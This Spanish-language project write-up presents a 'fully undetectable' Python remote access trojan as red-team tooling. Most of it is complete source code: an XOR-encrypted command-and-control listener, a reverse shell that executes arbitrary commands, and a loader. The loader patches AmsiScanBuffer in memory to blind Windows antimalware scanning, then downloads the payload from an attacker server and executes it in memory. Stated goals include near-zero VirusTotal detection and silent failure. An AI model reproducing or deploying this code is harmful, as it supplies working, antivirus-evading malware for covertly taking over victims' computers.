# **Proyecto de Desarrollo: Herramienta de Evasión para Red Teaming (FUD RAT)**

### **1. Introducción**

En el campo de la ciberseguridad ofensiva (Red Teaming), el objetivo es simular las tácticas, técnicas y procedimientos (TTPs) de adversarios reales para evaluar y mejorar las defensas de una organización. Una de las barreras más significativas para un equipo rojo es la evasión de las soluciones de seguridad modernas, como los Antivirus (AV), las soluciones de Detección y Respuesta en Endpoints (EDR) y la Interfaz de Análisis Antimalware de Windows (AMSI).

El uso de herramientas públicas o la simple compilación de scripts con herramientas como PyInstaller resultan insuficientes, ya que sus firmas y comportamientos son ampliamente conocidos y detectados. Esto crea una necesidad crítica para los profesionales de la seguridad de desarrollar sus propias herramientas personalizadas.

Este proyecto aborda directamente ese desafío. El objetivo es diseñar y construir desde cero una herramienta de acceso remoto (RAT, por sus siglas en inglés) que sea "Fully Undetectable" (FUD), o al menos que logre una tasa de detección extremadamente baja en plataformas de análisis como VirusTotal. El enfoque no será usar herramientas de terceros para ofuscar el código, sino construir las técnicas de evasión directamente en el propio programa, proporcionando un entendimiento profundo de cómo y por qué funcionan estos métodos.

### **2. Planteamiento del Problema**

El problema central es la alta tasa de detección de los payloads de acceso remoto desarrollados con lenguajes de scripting como Python. Al compilar un script de reverse shell, incluso uno ofuscado superficialmente, los motores de antivirus lo identifican a través de varios métodos:

1. **Análisis de Firmas:** Los antivirus tienen bases de datos con "firmas" de malware conocido. El propio código del empaquetador (PyInstaller) y las cadenas de texto obvias (socket, subprocess, direcciones IP) son detectadas.
2. **Análisis Heurístico y de Comportamiento:** Las soluciones de seguridad monitorean acciones sospechosas. Un programa que abre una conexión de red a un destino desconocido y luego ejecuta comandos del sistema (cmd.exe, powershell.exe) es un comportamiento clásico de malware que dispara las alarmas.
3. **Análisis en Tiempo de Ejecución (AMSI):** La Interfaz de Análisis Antimalware de Windows (AMSI) permite a los antivirus inspeccionar el código de un script *justo antes* de que se ejecute en memoria. Esto anula muchas técnicas de ofuscación basadas en disco, ya que el antivirus ve el código descifrado y limpio.

**Pregunta de Investigación:** ¿De qué manera se pueden combinar técnicas de cifrado, evasión de sandboxing y parcheo de memoria para desarrollar un payload de Python que evada la detección de soluciones de seguridad modernas y logre una ejecución exitosa en un sistema objetivo?

### **3. Objetivos**

#### **3.1. Objetivo General**

Desarrollar una herramienta de acceso remoto (RAT) en Python, funcional y modular, que implemente un conjunto de técnicas de evasión multicapa para lograr una tasa de detección nula o mínima en las principales soluciones antivirus y plataformas de análisis.

#### **3.2. Objetivos Específicos**

1. **Implementar Cifrado Robusto:** Desarrollar un sistema de cifrado simétrico (XOR) para ofuscar todas las cadenas sensibles dentro del código y para cifrar toda la comunicación de red entre el agente y el servidor de Comando y Control (C2).
2. **Desarrollar un Bypass para AMSI:** Crear una función en Python utilizando ctypes para localizar y parchear en memoria la función AmsiScanBuffer de Windows, deshabilitando efectivamente el escaneo de scripts en tiempo de ejecución.
3. **Construir un Sistema de Staging:** Estructurar la herramienta en dos componentes principales: un "loader" (cargador) ligero y un "payload" (la reverse shell completa). El loader será responsable de las evasiones iniciales y de descargar y ejecutar el payload principal exclusivamente en memoria.
4. **Integrar Técnicas Anti-Sandbox:** Incorporar comprobaciones básicas en el loader para detectar si se está ejecutando en un entorno de análisis automatizado (sandbox) y, en tal caso, abortar la ejecución para no revelar su comportamiento.

### **4. Justificación**

* **Justificación Técnica:** La creación de esta herramienta no solo resuelve el problema práctico de la evasión de AV, sino que también obliga al desarrollador a comprender la arquitectura de seguridad de Windows a bajo nivel, el funcionamiento interno de los AV/EDR y las técnicas de programación avanzada en Python.
* **Justificación Profesional:** Para un profesional de Red Team, la capacidad de crear y modificar herramientas propias es un diferenciador clave. Demuestra una comprensión profunda de las TTPs de los atacantes y permite realizar evaluaciones de seguridad más realistas y efectivas que las que se podrían lograr con herramientas estándar.
* **Justificación Educativa:** Este proyecto sirve como un excelente caso de estudio práctico sobre ciberseguridad ofensiva. Desmitifica conceptos avanzados como el parcheo de memoria y la ejecución sin fichero (fileless), haciéndolos accesibles y comprensibles a través de la implementación.

### **5. Desarrollo del Proyecto y Plan de Acción**

El proyecto se divide en tres componentes de código principales que trabajan en conjunto.

#### **Componente 1: El Listener (Servidor C2)**

Este es el script que se ejecuta en la máquina del atacante. Su función es escuchar conexiones entrantes del payload, enviar comandos cifrados y recibir y descifrar los resultados.

# listener.py  
import socket  
  
def xor\_cipher(data, key):  
 """Función de cifrado/descifrado XOR simple."""  
 return bytes([b ^ key for b in data])  
  
def main():  
 # --- Configuración ---  
 listen\_ip = "0.0.0.0" # Escuchar en todas las interfaces  
 listen\_port = 4444  
 xor\_key = 0xAB # La misma clave que en el loader  
  
 # --- Inicialización del Servidor ---  
 server = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)  
 server.bind((listen\_ip, listen\_port))  
 server.listen(1)  
 print(f"[\*] Escuchando en {listen\_ip}:{listen\_port}...")  
  
 client\_socket, addr = server.accept()  
 print(f"[+] Conexión aceptada de {addr[0]}:{addr[1]}")  
  
 # --- Bucle de Comandos ---  
 try:  
 while True:  
 cmd = input("Shell> ")  
 if cmd.lower() in ['exit', 'quit']:  
 # Enviar comando de salida cifrado  
 client\_socket.send(xor\_cipher(b'exit', xor\_key))  
 break  
   
 if not cmd:  
 continue  
  
 # Cifrar y enviar comando  
 cmd\_encrypted = xor\_cipher(cmd.encode(), xor\_key)  
 client\_socket.send(cmd\_encrypted)  
  
 # Recibir y descifrar respuesta  
 response\_encrypted = client\_socket.recv(4096)  
 response = xor\_cipher(response\_encrypted, xor\_key)  
   
 print(response.decode(errors='ignore'))  
  
 except KeyboardInterrupt:  
 print("\n[!] Cerrando servidor.")  
 finally:  
 client\_socket.close()  
 server.close()  
  
if \_\_name\_\_ == "\_\_main\_\_":  
 main()

#### **Componente 2: El Payload (Reverse Shell)**

Este es el código de la reverse shell. **Este archivo no se guarda en la máquina víctima**. Se aloja en un servidor web controlado por el atacante (ej. python3 -m http.server 80) y es descargado por el loader.

# payload.py  
# (Este archivo se aloja en un servidor web, por ejemplo: http://TU\_IP/payload.py)  
  
def xor\_cipher(data, key):  
 """Función de cifrado/descifrado XOR."""  
 # Asegurarse de que data sea bytes  
 if isinstance(data, str):  
 data = data.encode()  
 return bytes([b ^ key for b in data])  
  
def run\_shell(ip, port, key):  
 # Estas importaciones son necesarias para que 'exec' funcione correctamente  
 import socket  
 import subprocess  
 import threading  
  
 try:  
 s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)  
 s.connect((ip, port))  
  
 while True:  
 data\_encrypted = s.recv(4096)  
 if not data\_encrypted:  
 break  
   
 command = xor\_cipher(data\_encrypted, key).decode().strip()  
  
 if command.lower() == 'exit':  
 break  
  
 try:  
 output = subprocess.check\_output(command, shell=True, stderr=subprocess.STDOUT)  
 output\_msg = b"[+] Resultado:\n" + output  
 except Exception as e:  
 output\_msg = b"[-] Error:\n" + str(e).encode()  
   
 output\_encrypted = xor\_cipher(output\_msg, key)  
 s.send(output\_encrypted)  
  
 except Exception:  
 pass # Fallar silenciosamente  
 finally:  
 try:  
 s.close()  
 except:  
 pass

#### **Componente 3: El Loader (El Ejecutable Final)**

Este es el script que se compila con PyInstaller o Nuitka. Es la única pieza que se entrega a la víctima. Realiza el bypass de AMSI, descarga el payload y lo ejecuta en memoria.

# loader.py  
import ctypes  
import urllib.request  
import time  
import sys  
  
def amsi\_bypass():  
 """Parchea AmsiScanBuffer en memoria para evadir AMSI."""  
 # Solo funciona en Windows  
 if sys.platform != "win32":  
 print("[-] AMSI bypass solo es para Windows.")  
 return  
  
 try:  
 amsi\_dll = ctypes.WinDLL('amsi.dll')  
 AmsiScanBuffer = amsi\_dll.AmsiScanBuffer  
 AmsiScanBuffer.argtypes = [ctypes.c\_void\_p, ctypes.c\_void\_p, ctypes.c\_ulong, ctypes.c\_wchar\_p, ctypes.c\_void\_p, ctypes.c\_void\_p]  
 AmsiScanBuffer.restype = ctypes.c\_int  
   
 address = ctypes.addressof(AmsiScanBuffer)  
   
 # Parche: mov eax, 0x80070057 (E\_INVALIDARG); ret  
 patch = b"\xB8\x57\x00\x07\x80\xC3"  
   
 old\_protect = ctypes.c\_ulong(0)  
 kernel32 = ctypes.WinDLL('kernel32.dll')  
 kernel32.VirtualProtect(address, len(patch), 0x40, ctypes.byref(old\_protect))  
 ctypes.memmove(address, patch, len(patch))  
 kernel32.VirtualProtect(address, len(patch), old\_protect, ctypes.byref(old\_protect))  
   
 print("[+] AMSI Bypass aplicado.")  
 except Exception as e:  
 print(f"[-] Fallo en el bypass de AMSI: {e}")  
  
def main():  
 # --- Configuración ---  
 # ¡¡CAMBIAR ESTAS VARIABLES!!  
 payload\_url = "http://192.168.1.2/payload.py" # URL donde alojas payload.py  
 c2\_ip = "192.168.1.2" # IP de tu listener  
 c2\_port = 4444  
 xor\_key = 0xAB # Misma clave que en el listener  
   
 # --- Fase de Evasión de Sandbox ---  
 # Un sandbox podría no esperar tanto tiempo.  
 # time.sleep(15)   
  
 # --- Bypass de AMSI ---  
 amsi\_bypass()  
  
 # --- Descarga y Ejecución del Payload ---  
 try:  
 # Descargar el código del payload  
 payload\_code = urllib.request.urlopen(payload\_url).read().decode()  
   
 # Crear un diccionario para pasar las variables al payload  
 payload\_globals = {  
 "c2\_ip": c2\_ip,  
 "c2\_port": c2\_port,  
 "xor\_key": xor\_key  
 }  
   
 # Ejecutar el payload en memoria, llamando a su función principal.  
 # Se añade la llamada a run\_shell al final del código descargado.  
 exec(payload\_code + "\nrun\_shell(c2\_ip, c2\_port, xor\_key)", payload\_globals)  
  
 except Exception as e:  
 # Fallar silenciosamente en un entorno real.  
 # Para depuración, es útil imprimir el error.  
 print(f"[-] Error en la fase de carga: {e}")  
  
if \_\_name\_\_ == "\_\_main\_\_":  
 main()

### **6. Resultados Esperados**

Al finalizar el desarrollo y compilar el loader.py (por ejemplo, con pyinstaller --onefile --noconsole loader.py), se esperan los siguientes resultados:

* El ejecutable resultante (loader.exe) deberá tener una tasa de detección de 0 a un máximo de 2-3 detecciones en VirusTotal.
* La herramienta deberá establecer una conexión de reverse shell estable y funcional con el listener.
* El tráfico de red entre el agente y el C2 será ininteligible para herramientas de análisis de red que no posean la clave XOR.
* El payload se ejecutará correctamente en un sistema Windows con un antivirus moderno (como Windows Defender) activado, gracias al bypass de AMSI.

### **7. Conclusiones y Recomendaciones**

Este proyecto demuestra exitosamente que, mediante la combinación de múltiples técnicas de evasión construidas a medida, es posible desarrollar herramientas de Red Team altamente efectivas y capaces de eludir las defensas modernas. El conocimiento adquirido va más allá de la simple escritura de código, adentrándose en los fundamentos de la seguridad de sistemas operativos y el funcionamiento de software antimalware.

**Recomendaciones para Futuras Mejoras:**

* **Polimorfismo:** Modificar el loader para que genere claves de cifrado XOR aleatorias en cada compilación, junto con el listener correspondiente.
* **Técnicas Anti-Depuración:** Añadir funciones que detecten si un depurador (debugger) está analizando el proceso.
* **C2 más Robusto:** Evolucionar el listener a un C2 completo con capacidad para manejar múltiples agentes, persistencia y un repertorio más amplio de comandos.
* **Canales de Comunicación Encubiertos:** Utilizar protocolos de comunicación menos sospechosos, como DNS sobre HTTPS (DoH) o aparentar ser tráfico web normal.